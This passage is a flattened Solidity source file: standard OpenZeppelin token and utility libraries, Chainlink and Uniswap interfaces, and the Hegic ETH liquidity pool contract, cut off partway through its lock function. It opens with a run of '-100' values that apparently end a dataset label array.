-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: GPL-3.0-or-later // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/Interfaces/Interfaces.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ interface ILiquidityPool { struct LockedLiquidity { uint amount; uint premium; bool locked; } event Profit(uint indexed id, uint amount); event Loss(uint indexed id, uint amount); event Provide(address indexed account, uint256 amount, uint256 writeAmount); event Withdraw(address indexed account, uint256 amount, uint256 writeAmount); function unlock(uint256 id) external; function send(uint256 id, address payable account, uint256 amount) external; function setLockupPeriod(uint value) external; function totalBalance() external view returns (uint256 amount); // function unlockPremium(uint256 amount) external; } interface IERCLiquidityPool is ILiquidityPool { function lock(uint id, uint256 amount, uint premium) external; function token() external view returns (IERC20); } interface IETHLiquidityPool is ILiquidityPool { function lock(uint id, uint256 amount) external payable; } interface IHegicStaking { event Claim(address indexed acount, uint amount); event Profit(uint amount); function claimProfit() external returns (uint profit); function buy(uint amount) external; function sell(uint amount) external; function profitOf(address account) external view returns (uint); } interface IHegicStakingETH is IHegicStaking { function sendProfit() external payable; } interface IHegicStakingERC20 is IHegicStaking { function sendProfit(uint amount) external; } interface IHegicOptions { event Create( uint256 indexed id, address indexed account, uint256 settlementFee, uint256 totalFee ); event Exercise(uint256 indexed id, uint256 profit); event Expire(uint256 indexed id, uint256 premium); enum State {Inactive, Active, Exercised, Expired} enum OptionType {Invalid, Put, Call} struct Option { State state; address payable holder; uint256 strike; uint256 amount; uint256 lockedAmount; uint256 premium; uint256 expiration; OptionType optionType; } function options(uint) external view returns ( State state, address payable holder, uint256 strike, uint256 amount, uint256 lockedAmount, uint256 premium, uint256 expiration, OptionType optionType ); } // For the future integrations of non-standard ERC20 tokens such as USDT and others // interface ERC20Incorrect { // event Transfer(address indexed from, address indexed to, uint256 value); // // event Approval(address indexed owner, address indexed spender, uint256 value); // // function transfer(address to, uint256 value) external; // // function transferFrom( // address from, // address to, // uint256 value // ) external; // // function approve(address spender, uint256 value) external; // function balanceOf(address who) external view returns (uint256); // function allowance(address owner, address spender) external view returns (uint256); // // } // File: contracts/Pool/HegicETHPool.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @author 0mllwntrmt3 * @title Hegic ETH Liquidity Pool * @notice Accumulates liquidity in ETH from LPs and distributes P&L in ETH */ contract HegicETHPool is IETHLiquidityPool, Ownable, ERC20("Hegic ETH LP Token", "writeETH") { using SafeMath for uint256; uint256 public constant INITIAL_RATE = 1e3; uint256 public lockupPeriod = 2 weeks; uint256 public lockedAmount; uint256 public lockedPremium; mapping(address => uint256) public lastProvideTimestamp; mapping(address => bool) public _revertTransfersInLockUpPeriod; LockedLiquidity[] public lockedLiquidity; /** * @notice Used for changing the lockup period * @param value New period value */ function setLockupPeriod(uint256 value) external override onlyOwner { require(value <= 60 days, "Lockup period is too large"); lockupPeriod = value; } /** * @notice Used for ... */ function revertTransfersInLockUpPeriod(bool value) external { _revertTransfersInLockUpPeriod[msg.sender] = value; } /* * @nonce A provider supplies ETH to the pool and receives writeETH tokens * @param minMint Minimum amount of tokens that should be received by a provider. Calling the provide function will require the minimum amount of tokens to be minted. The actual amount that will be minted could vary but can only be higher (not lower) than the minimum value. * @return mint Amount of tokens to be received */ function provide(uint256 minMint) external payable returns (uint256 mint) { lastProvideTimestamp[msg.sender] = block.timestamp; uint supply = totalSupply(); uint balance = totalBalance(); if (supply > 0 && balance > 0) mint = msg.value.mul(supply).div(balance.sub(msg.value)); else mint = msg.value.mul(INITIAL_RATE); require(mint >= minMint, "Pool: Mint limit is too large"); require(mint > 0, "Pool: Amount is too small"); _mint(msg.sender, mint); emit Provide(msg.sender, msg.value, mint); } /* * @nonce Provider burns writeETH and receives ETH from the pool * @param amount Amount of ETH to receive * @return burn Amount of tokens to be burnt */ function withdraw(uint256 amount, uint256 maxBurn) external returns (uint256 burn) { require( lastProvideTimestamp[msg.sender].add(lockupPeriod) <= block.timestamp, "Pool: Withdrawal is locked up" ); require( amount <= availableBalance(), "Pool Error: Not enough funds on the pool contract. Please lower the amount." ); burn = divCeil(amount.mul(totalSupply()), totalBalance()); require(burn <= maxBurn, "Pool: Burn limit is too small"); require(burn <= balanceOf(msg.sender), "Pool: Amount is too large"); require(burn > 0, "Pool: Amount is too small"); _burn(msg.sender, burn); emit Withdraw(msg.sender, amount, burn); msg.sender.transfer(amount); } /* * @nonce calls by HegicCallOptions to lock the funds * @param amount Amount of funds that should be locked in an option */ function lock(uint id, uint256 amount) external override onlyOwner payable { require(id == lockedLiquidity.length, "Wrong id"); require( lockedAmount.add(amount).mul(10) <= totalBalance().sub(msg.value).mul(8), "Pool Error: Amount is too 